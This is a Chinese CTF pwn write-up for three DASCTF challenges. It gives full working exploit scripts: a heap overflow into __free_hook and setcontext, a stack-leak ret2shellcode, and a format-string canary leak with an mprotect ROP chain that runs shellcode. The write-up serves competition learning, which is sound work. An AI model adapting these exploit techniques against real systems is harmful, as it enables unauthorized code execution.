DASCTF-Sept-X-浙江工業大學秋季挑戰賽-pwn-wp
總結
10:30才起床做題......pwn是三道簡單題,datasystem拿了個一血。hahapwn的遠程靶機有問題,遠程交互時驚現flag{flag_test}。我沉思片刻,隨即懷着忐忑的心情點了提交,然而這個flag並不正確,有點迷。
datasystem: 堆溢出 +setcontexthehepwn:shellcodehahapwn:格式化字符串+棧溢出
datasystem
保護全開

系統調用禁得很佛系,arch也沒檢查,系統調用號范圍也沒檢查:

給的libc版本是2.27,有tcache。
check分析
一進來有個check函數,要求輸入username和passwd:

最后需要通過校驗:

從上圖也能看出username的校驗是判斷等不等於admin,這里循環次數是6,所以輸入的時候后面帶個\x00才能通過username的校驗。
passwd有點復雜,不過可以直接用ida遠程調試,查看一下比較s1和s2的時候,其值為多少。先隨便輸入密碼,比如我先輸入為passwd為admin123,發現s2是一個16進制字符串:


s1還看不出什么,然后我直接拷貝了s2作為密碼輸入:

然后發現s2的第1個字符變成了\x00:

之后換別的密碼,但是s2第一個字符始終不是\x00。這個時候,我猜測是不是密碼的長度要為32。於是分別輸入32個a和32個b,發現s2的第一個字符始終為\x00。
有這么一個規律后,接下來可以爆破passwd了。就是枚舉爆破某次密碼得到的s1開頭也是\x00,那么strcmp就能通過比較:
- 枚舉所有的字符
- 輸入
32個同樣的字符作為密碼,判斷是否通過校驗 - 通過校驗即可以作為有效的密碼
爆破的腳本如下:
import string
from pwn import *
context.log_level="error"
for c in range(0x100):
c = c.to_bytes(1, 'big')
p = process('./datasystem')
p.sendafter("please input username: ", "admin\x00")
p.sendafter("please input password: ", c*32)
msg = p.recvline()
if b"Fail" not in msg:
print('='*60)
print("a valid char:", c)
print('='*60)
p.close()
最后得到兩個可以用的密碼:

對check的分析即可告一段落,之后就是常規的堆溢出的題。
漏洞點
在add分支,輸入內容的時候,存在堆溢出,這的size總是0x506:

也可以用gdb看一把:

利用思路
- 構造一個
unsorted bin - 利用
chunk中fd與bk殘留的的地址泄露出libc地址 - 利用堆溢出覆蓋
free chunk的fd為__free_hook - 0x200地址 - 分配到
__free_hook - 0x200處,覆蓋__free_hook為setcontext+53 - 利用程序
mmap的0x23330000這一段rwx內存執行shellcode,先讀入shellcode,然后跳轉執行即可
exp
#!/usr/bin/python3
from pwncli import *
cli_script()
p:tube = gift['io']
elf:ELF = gift['elf']
libc: ELF = gift['libc']
def login():
p.sendafter("please input username: ", "admin\x00")
p.sendafter("please input password: ", "c"*32)
def add(size, data="a\n"):
p.sendlineafter(">> :\n", "1")
p.sendlineafter("Size: \n", str(size))
p.sendafter("what's your Content: \n", data)
def delete(idx):
p.sendlineafter(">> :\n", "2")
p.sendlineafter("Index:\n", str(idx))
def show(idx):
p.sendlineafter(">> :\n", "3")
p.sendlineafter("Index:\n", str(idx))
m = p.recvline()
info(f"Get info:{m}")
return m
def edit(idx, data):
p.sendlineafter(">> :\n", "4")
p.sendlineafter("Index:\n", str(idx))
p.sendafter("Content:\n", data)
login()
add(0x420)
add(0x10) # 1
# get unsorted bin
delete(0)
# leak libc addr
add(0x8, "a"*8)
edit(0, "a"*8)
m = show(0)
libc_base_addr = u64_ex(m[0x11:0x17])- 0x3ec090
log_libc_base_addr(libc_base_addr)
libc.address = libc_base_addr
# overflow write
add(0x20) # 2
delete(2)
delete(0)
add(0x10, flat({0x10:[0, 0x311, libc.sym['__free_hook']-0x200]}))
add(0x20)
# setcontext to exec shellcode
payload = flat({
0x200:libc.sym['setcontext']+53,
0x100: 0x23330000, # rsp
0xa0: libc.sym['__free_hook']-0x100 ,# rsp
0x68: 0, # rdi
0x70: 0x23330000, # rsi
0x88: 0x200,
0xa8: libc.sym['read'] # rcx
}, filler="\x00")
add(0x20, payload)
delete(3)
sleep(1)
# send shellcode
p.sendline(asm(shellcraft.cat("/flag")))
p.interactive()
遠程打:

hehepwn
什么保護都沒有,白給

漏洞點
填滿0x20個字符后可泄露棧地址:

棧溢出:

exp
#!/usr/bin/python3
from pwncli import *
cli_script()
p:tube = gift['io']
p.sendafter("well you input:\n", "a"*0x20)
m = p.recvuntil("\x7f")
# leak stack addr
addr = u64_ex(m[-6:])
log_address("stack addr", addr)
# ret2shellcode
p.sendlineafter("EASY PWN PWN PWN~\n", flat({0:asm(shellcraft.cat('/flag')), 0x58: addr - 0x50}))
p.interactive()
遠程打:

hahapwn
開啟了NX和Canary,給的libc版本是2.23的:

強行禁用了execve:

漏洞點
格式化字符串和棧溢出:

遠程靶機很詭異啊,泄露出地址后,我用libc.sym['read']執行read會失敗,但是用二進制文件的read@plt可以成功,還有pop rdx; pop rsi; ret遠程也會失敗,就很迷。后來改了下gadgets,然后喜提test flag:

exp
#!/usr/bin/python3
from pwncli import *
cli_script()
p:tube = gift['io']
libc: ELF = gift['libc']
# leak canary value, stack address and libc address using printf vulnerability
# offset 6
p.sendafter("Welcome! What is your name?\n", "%25$p,%27$p,%28$p")
m = p.recvline_startswith('0x')
log_ex(f"{m}")
leak_addr = int16(m[:14].decode()) - 324 - libc.sym['setvbuf']
log_libc_base_addr(leak_addr)
libc.address = leak_addr
canary = int16(m[15:33].decode())
log_address("canary", canary)
stack_addr = int16(m[34:48].decode())
log_address("stack", stack_addr)
start_addr = stack_addr - 0xc0
bss_addr = 0x601080
read_addr = 0x4005e0
puts_addr = 0x4005b0
# use gadgets searching from libc
libc_rdi_ret = leak_addr + 0x0000000000021112
libc_rdx_ret = leak_addr + 0x0000000000001b92
libc_rsi_ret = leak_addr + 0x00000000000202f8
libc_rax_ret = leak_addr + 0x000000000003a738
libc_syscall_ret = leak_addr + 0x00000000000bc3f5
payload = flat([
0x68*"a",
canary,
0,
libc_rdi_ret, 0,
libc_rsi_ret, bss_addr,
libc_rdx_ret, 800,
read_addr, # read shellcode
libc_rdi_ret, bss_addr,
puts_addr,
libc_rdi_ret, bss_addr &~0xfff,
libc_rsi_ret, 0x1000,
libc_rdx_ret, 7,
libc_rax_ret, SyscallNumber.amd64.MPROTECT, # mprotect changes page attribute to rwx
libc_syscall_ret,
bss_addr
], filler="\x00", length=0x200)
p.sendafter("What can we help you?\n", payload)
# send shellcode
p.send(asm(shellcraft.cat('/flag')))
flag_ = p.recvline_startswith("flag")
log_ex(f"Get flag: {flag_}")
p.interactive()
exp均使用我自己寫的小工具pwncli編寫,歡迎試用~
其他鏈接
1、My Blog
2、Ctf Wiki
3、pwncli
